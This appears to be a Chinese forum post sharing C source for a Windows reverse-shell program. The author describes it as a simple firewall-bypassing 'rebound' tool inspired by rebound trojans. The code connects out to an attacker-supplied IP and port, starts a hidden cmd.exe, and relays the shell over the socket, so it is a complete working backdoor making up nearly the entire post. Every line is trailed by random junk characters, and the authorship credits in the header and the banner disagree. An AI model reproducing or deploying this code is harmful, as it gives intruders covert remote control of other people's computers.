这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F_;oZ
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/* ============================== iA*Z4FKkT
Rebound port in Windows NT J7X-=E D
By wind,2006/7 r*]0PQ{?
===============================*/ p%e!&:!
#include ?6.vd]oNO
#include |qbCmsY5/
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#pragma comment(lib,"wsock32.lib") I7b(fc-r
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void OutputShell(); *9)7.}uY
SOCKET sClient; R L/~E
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3n9$qr='
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void main(int argc,char **argv) @-~YQ@08`
{ ;AKtbS;H
WSADATA stWsaData; *9e T#dH
int nRet; *FDz20S
SOCKADDR_IN stSaiClient,stSaiServer; Nw $io8:d
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if(argc != 3) ~LGkc
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{ nW+rJ
printf("Useage:\n\rRebound DestIP DestPort\n"); cAC2Xq
return; b1{~j]"$L
} a%f{mP$m
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WSAStartup(MAKEWORD(2,2),&stWsaData); #EtS9D'd+
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 84tuN
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stSaiClient.sin_family = AF_INET; FW&P`Iu
stSaiClient.sin_port = htons(0); I$0`U;Xd
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); VHVU*6_w
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ncJ}h\:Sk
{
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printf("Bind Socket Failed!\n"); [YP8z~
return; kbBD+*
} G;615p1
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stSaiServer.sin_family = AF_INET; I^/Ugu
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {y<[1Pms
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hZI9*=`,"
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) AC ,$(E
{ kac@yQD
printf("Connect Error!"); 94I8~Jj4
return; TveCy &
} '[JrP<~^o
OutputShell(); 0*VRFd4
} ',8]vWsl
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void OutputShell() x*5'
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{ liFNJd`|o+
char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; =sedkrM
OSVERSIONINFO stOsversionInfo; s2g}IZfo
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {.SN
STARTUPINFO stStartupInfo; dW;{,Q
char *szShell; MdU_zY(c
PROCESS_INFORMATION stProcessInformation; )z3mS2
unsigned long lBytesRead; ;3Fgy8T
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h0Acpd2
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /fA:Fnv
stSecurityAttributes.lpSecurityDescriptor = 0; &PD4+%!
stSecurityAttributes.bInheritHandle = TRUE; X55Eemg/
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1W8[
RET
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); GhLgV
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -`]B4Nt6
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QV+('
stStartupInfo.wShowWindow = SW_HIDE; 1mL--m'r
stStartupInfo.hStdInput = hReadPipe; g6Qzkvw)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~6!=_"
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GetVersionEx(&stOsversionInfo); "vH@b_>9|
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switch(stOsversionInfo.dwPlatformId) N_$ X4.7p
{ [:a;|t
case 1: =w".B[r
szShell = "command.com"; s?=f,I
break; V;=SncUb
default: IyOujdKa
szShell = "cmd.exe"; $k@reN9
break; J\_tigd
} #$K\:V+ 4
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); BI;in;Ln
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send(sClient,szMsg,77,0); / !jd%,G
while(1) p}R)qz-=5U
{ ?OYu BZF
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); PPDm*,T.
if(lBytesRead) [@#P3g\:>W
{ |w6:mtaS
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `"I^nD^t>Y
send(sClient,szBuff,lBytesRead,0); M <"&$qZ$R
} p8[Z/]p
else J.?6a:#bU/
{ t LS5yT/
lBytesRead=recv(sClient,szBuff,1024,0); W: cOzJ
if(lBytesRead<=0) break; Sq-mH=rs]
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /V46:`V
} s4;SA
} p[h A?dXn
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return; KSqWq:W+
}